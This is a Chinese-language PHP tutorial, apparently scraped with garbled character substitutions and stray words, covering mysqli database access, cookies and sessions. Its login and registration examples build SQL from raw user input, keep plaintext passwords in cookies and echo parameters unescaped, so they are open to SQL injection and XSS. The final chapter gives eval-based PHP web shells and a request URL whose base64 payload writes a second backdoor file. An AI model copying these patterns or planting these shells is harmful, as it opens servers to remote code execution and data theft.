PHP與Mysql之間的糾纏(超詳細)

第一章 PHP操做mysql數據庫

在正式開始學習前,咱們須要開啓mysqli擴展,使用phpinof()你能夠看到以下展現就說明開啓成功:
php

若沒有看到mysqli擴展在windows服務器下,打開php.ini文件,將php_mysqli.dll打開便可。
注意:
從PHP7開始默認再也不支持mysql擴展,即再也不支持mysql_*系列函數。請使用mysqli鏈接數據庫。
mysqli即支持php5也支持php7。html

建立表結構:
CREATE TABLE IF NOT EXISTS users (
   id INT(10) NOT NULL,
   username varchar(30),
   password varchar(30),
   createtime date not null,
   createip binary(16)
);

index.html代碼

<form action="connect.php" method="post">
    用戶名:<input type="text" name="username"><br />
    密碼:<input type="password" name="password"><br />
    重複密碼:<input type="password" name="repassword"><br />
    <input type="submit" value="提交">
</form>

connect.php代碼以下:

<?php

if (trim($_POST['password']) != trim($_POST['repassword'])) {

   exit('兩次密碼不一致,請返回上一頁');

}

$username = trim($_POST['username']);

$password = md5(trim($_POST['password']));

$time = time();

$ip = $_SERVER['REMOTE_ADDR'];

$conn = mysqli_connect('localhost', 'root', 'root');

//若是有錯誤,存在錯誤號
if (mysqli_errno($conn)) {

   echo mysqli_error($conn);

   exit;
}

mysqli_select_db($conn, 'book');

mysqli_set_charset($conn, 'utf8');

$sql = "insert into user(username,password,createtime,createip) values('" . $username . "','" . $password . "','" . $time . "','" . $ip . "')";

$result = mysqli_query($conn, $sql);

if ($result) {
   echo '成功';
} else {
   echo '失敗';

}

echo '當前用戶插入的ID爲' . mysqli_insert_id($conn);

mysqli_close($conn);

?>

list.php代碼以下:

<?php

$conn = mysqli_connect('localhost', 'root', 'root', 'book');

if (mysqli_errno($conn)) {
   mysqli_error($conn);
   exit;
}

mysqli_set_charset($conn, 'utf8');

$sql = "select id,username,createtime,createip from user order by id desc";
//進行降序排序
$result = mysqli_query($conn, $sql);

if ($result && mysqli_num_rows($result)) {
//查詢出來的行數可使用mysqli_num_rows。這個函數要求傳入$result查詢的結果變量。
若是有結果則顯示列表,若是沒有結果咱們產生一句提示便可。

   echo '<table width="800" border="1">';

   while ($row = mysqli_fetch_assoc($result)) {
//使用到的函數是mysqli_fetch_assoc,返回的會是一個關聯數組。
這個函數讀取一個結果集,會向後移動一次。讀取到最後沒有結果的時候會返回bool值的false。所以,咱們選擇while來配合mysqli_fetch_assoc。
每次循環的結果賦值給$row,$row中是關聯數組。所以我在此次循環中,能夠將行和列都顯示出來。
       echo '<tr>';

       echo '<td>' . $row['username'] . '</td>';
       echo '<td>' . date('Y-m-d H:i:s', $row['createtime']) . '</td>';
       echo '<td>' . long2ip($row['createip']) . '</td>';
       echo '<td><a href="edit.php?id=' . $row['id'] . '">編輯用戶</a></td>';
       echo '<td><a href="delete.php?id=' . $row['id'] . '">刪除用戶</a></td>';

       echo '</tr>';
   }

   echo '</table>';

} else {
   echo '沒有數據';
}

mysqli_close($conn);
?>

第二章 PHP 會話管理和控制

咱們知道Cookie是經過將數據保存在客戶端來實現與服務端保持鏈接的,而Session是經過將數據保存在服務器端來實現保持鏈接的。咱們經過一個例子來了解session的機制。

咱們去飲料店買飲料,下單之後服務員會給咱們一個號碼牌,而後你走到一旁,服務員並不認識你是誰,若是你想拿到你的飲料,你必須提供你的號碼牌給服務員才能夠,服務員經過號碼牌來查記錄,來確認你是顧客,確認你點了什麼飲料,而後纔會把你點的飲料給你。

瞭解了session原理,再回到Web技術中,咱們有2種方法讓客戶端拿到「號碼牌」,一種是經過cookie,一種是經過把值嵌入網頁傳給客戶端。咱們也有2種方法來讓客戶端把號碼牌傳給服務器來拿屬於本身的資料,一種是cookie,一種是標準的Query String/POST。

而咱們經常使用的是cookie,由於如今的瀏覽器都支持cookie,默認也都開啓。客戶端與服務端彼此都會將cookie發送給對方。來個過程說明一下:打開瀏覽器輸入 www.taobao.com 並回車,因爲是第一次與這個網站創建鏈接,服務端尚未設置過cookie(這裏假設當前瀏覽器是第一次訪問這個網址,以前這個網址沒有向當前客戶端寫過cookie),因此沒有cookie發送到服務端,服務端在處理完數據返回的時候,會將一個name爲sessionid,value爲一連串N位字符的cookie發送給客戶端,後續客戶端再次訪問服務端的時候,也會帶上這個cookie來訪問服務端。因而,他們就這樣經過sessionid互相「認識」了。

咱們以前拿開會的例子講了一個小例子:
在幾十年前人們開會的時候,都須要帶上一個參會證。這個參會證上有這我的的職務、姓名、單位、照片等信息。在開會的時候,會議安保人員、組織者只須要檢查相關信息就好了。
這個小例子主要說明一點,人們本身帶着本身的參會證,帶着本身的信息。這種模式就是cookie。而電腦將這段cookie信息存在了電腦的硬盤裏。
Cookie存在哪兒? Cookie的本質是一小段數據,一小段存儲在你電腦硬盤中的數據。但是它存在哪裏呢?來,咱們找一下。mysql

Chrome瀏覽器的Cookie文件的存放路徑是:
C:\Users\你的用戶名\AppData\Local\Google\Chrome\User Data\Default\Cookies

Firefox瀏覽器的Cookies文件存放路徑是:
C:\Users\你的用戶名\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite 每一個人可能略有不一樣

用文本編輯器直接打開Cookies文件看到的是亂碼,咱們得用工具查看,以下圖:sql

咱們來看一下須要關注的幾個列,Domain表明的是cookies所屬的網站,Name表明的是這個Cookie的名字,Value表明的是Cookie的值,Expires表明的是這個Cookie的有效期。數據庫

用一個咱們熟悉的網站舉例,tudou.com,圖上咱們能夠看到有4個關於 tudou.com 的Cookie,那麼當咱們訪問 tudou.com的時候,瀏覽器會自動把這4個Cookie的 Name 和 Value 發送到 tudou.com 這個網址所指向的服務器(PS:必須在有效期內,超出有效期的話是不會被髮送到服務器的,有效期咱們能夠依據需求來定),如此一來,服務器就能夠根據這些信息來保持與客戶端的鏈接了,通俗點,就是能夠經過這些數據來知道你就是你。當服務器收到這些Cookies後,會根據他們的值來作一些處理,作什麼處理?這就取決於開發人員想根據這些信息來幹嗎了!windows

1、php 會話控制 之 PHP中的Cookie

經過一個用戶首次登錄網站後,再次訪問不須要重複輸入用戶名和密碼的例子來學習Cookie。
首先介紹一下php中設置cookie的方法。

php中提供了一個函數來讓咱們設置cookie,這個函數是:
bool setcookie (
string $名字
[, string $值]
[, int $過時時間 = 0]
[, string $路徑]
[, string $域名]
[, bool $安全 = false]
[, bool $http只讀 = false]
);數組

參數 描述
$名字 必需。規定 cookie 的名稱。
$值 可選。規定 cookie 的值。
$有效期 可選。規定 cookie 的有效期。
$路徑 可選。規定 cookie 的服務器路徑。
$域名 可選。規定 cookie 的域名。
$安全 可選。規定是否經過安全的 HTTPS 鏈接來傳輸 cookie。
$http安讀 可選。若是true,那麼js就沒法讀取改cookie,增長安全性。

通常來講,咱們其實用不到上面那麼多參數,對於這個函數,咱們通常這麼用: setcookie(cookie名,cookie值,cookie有效期);
沒錯,就那麼3個。如此一來,咱們就能夠在服務端經過$_COOKIE['name'] 來讀取cookie了。瀏覽器

如下是示例:
咱們將文件名命名爲:cookie.php。
咱們來模擬咱們在互聯網上見到最多見的例子:輸入用戶名和密碼,登錄成功的過程。
咱們來建一個數據庫login,其中有表user,有username和password這兩個字段。
<?php
//第一次登錄的時候,經過用戶輸入的信息來確認用戶
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
    $userName = $_POST['username'];
    $password = $_POST['password'];
    //從db獲取用戶信息
    //PS:數據庫鏈接信息改爲本身的 分別爲主機 數據庫用戶名 密碼
    $conn = mysqli_connect('localhost','root','123456');

    mysqli_select_db($conn,'test');

    $sql = "select * from user where `username` = '$userName' ";
    $res = mysqli_query($conn,$sql);
    $row = mysqli_fetch_assoc($res);
    if ($row['password'] == $password) {
        //密碼驗證經過,設置cookies,把用戶名和密碼保存在客戶端
        setcookie('username',$userName,time()+60*60*24*30);//設置時效一個月,一個月後這個cookie失效
        setcookie('password',$password,time()+60*60*24*30);
        //最後跳轉到登陸後的歡迎頁面
        header('Location: welcome.php' . "?username=$userName");
    }
}

//再次訪問的時候經過cookie來識別用戶
if ( ($_COOKIE['username'] != null)  && ($_COOKIE['password'] != null) ) {
    $userName = $_COOKIE['username'];
    $password = $_COOKIE['password'];

    //從db獲取用戶信息
    //PS:數據庫鏈接信息改爲本身的 分別爲主機 數據庫用戶名 密碼
    $conn = mysqli_connect('localhost','root','123456','test');
    $res = mysqli_query($conn,"select * from user where `username` =  '$userName' ");
    $row = mysqli_fetch_assoc($res);
    if ($row['password'] == $password) {
        //驗證經過後跳轉到登陸後的歡迎頁面
        header('Location: welcome.php' . "?username=$userName");
    }
}

?>
<html>
<head>

</head>
<body>
<form action="" method="POST">
    <div>
        用戶名:<input type="text" name="username" />
        密  碼:<input type="text" name="password" />
        <input type="submit" value="登陸">
    </div>
</form>
</body>
</html>

跳轉到的welcome.php代碼安全

<?php
$user = $_GET['username'];
?>
<html>
<head>

</head>
<body>
   welcome,<?php echo $user;?>
</body>
</html>

這樣,當我第一次訪問cookie.php的時候,我須要輸入用戶名和密碼,輸入完畢後跳轉到了welcome.php。而後我關閉瀏覽器,再次打開cookie.php,此次沒有要求我輸入用戶信息,而是直接跳轉到了welcome.php,由於以前咱們存的cookie信息被瀏覽器自動發送到了服務端,服務端作完處理直接跳轉到了welcome.php,服務器認識咱們了!知道我是以前那個登錄過的用戶,這樣咱們就經過cookie技術讓無狀態的HTTP協議保持了狀態。
照着這個作一遍,我相信你會用cookie了。服務器

2、php 會話控制 之 PHP中的session

1.開啓session

首先咱們要開啓session,那麼第一個要學習的函數就是bool session_start()了,這個函數沒有參數。在php文件的開始使用
session_start();
就能夠啓用新會話或者重用現有會話了。

2.添加session數據

開啓會話以後,那麼在接下來的處理中,咱們就可使用$_SESSION變量來存取信息了。咱們要知道的是$_SESSION變量是個數組。當咱們要把信息存入session的時候應該這麼寫:
   $_SESSION['userName'] = 'wang';

3.讀取session數據

讀取很簡單,就像咱們使用數組同樣,以下:
$userName = $_SESSION['userName'];
固然也能夠 $_SESSION['userName'] 來用。和數組同樣的使用。

4.銷燬session數據

咱們可使用不少種方式來銷燬session數據。
a) unset函數
咱們經過使用相似
   unset($_SESSION['XXX']);
	來銷燬session中的 XXX 變量。PS:請不要!請不要!請不要unset($_SESSION),會致使後續沒法使用$_SESSION這個變量!!!
b) 空數組賦值給session變量
$_SESSION = array();
以前咱們說過$_SESSOIN變量是個數組,那麼空數組賦值的話也是至關於將當前會話的$_SESSION變量中的值銷燬。
c) session_destory() 函數
這個函數會銷燬當前會話中的所有數據,並結束當前會話。可是不會重置當前會話所關聯的全局變量, 也不會重置會話 cookie。

5.session的擴展:默認session存儲在哪裏。

在php.ini配置文件中有這麼一行 session.save_handler = files,
files,說明了php默認的是用文件讀寫的方式來保存session的。那麼在哪一個目錄呢?繼續看。session.save_path = "/tmp",這一行前面有個 ; ,說明是被註釋的,不過即使這樣,php默認的session 也是保存在這裏的,/tmp目錄。

6.SESSION登陸實例:

login.php文件

<?php
session_start();
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
   $userName = $_POST['username'];
   $password = $_POST['password'];

   //從db獲取用戶信息   數據庫信息改爲本身的
   $conn = mysqli_connect('host','username','password','login');
mysqli_select_db($conn,'oldboy');
   $res = mysqli_query($conn,"select * from user where `username` =  '$username' ");
   $row = mysqli_fetch_assoc($res);
   if ($row['password'] == $password) {
       //密碼驗證經過,設置session,把用戶名和密碼保存在服務端
       $_SESSION['username'] = $username;
       $_SESSION['password'] = $password;

       //最後跳轉到登陸後的歡迎頁面 //注意:這裏咱們沒有像cookie同樣帶參數過去
       header('Location: welcome.php');
   }

?>
<html>
<head>
<!-- 這裏指明頁面編碼 -->
<meta charset="utf-8">
</head>
<body>
   <form action="" method="POST">
       <div>
           用戶名:<input type="text" name="username" />
           密  碼:<input type="text" name="password" />
           <input type="submit" value="登陸">        
       </div>
   </form>
</body>
</html>

welcome.php 這裏咱們用的是session中的信息,而不是像cookie同樣在url中帶參數過來

<?php
session_start();
$username = $_SESSION['username'];
?>
<html>
<head>

</head>
<body>
   welcome,<?php echo $username;?>
</body>
</html>

第三章 PHP 項目

編寫一句話木馬

案例1:

<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>

利用方法:

http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=phpinfo();

http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

案例2:

<?php @eval($_POST['1']);?>
相關文章
相關標籤/搜索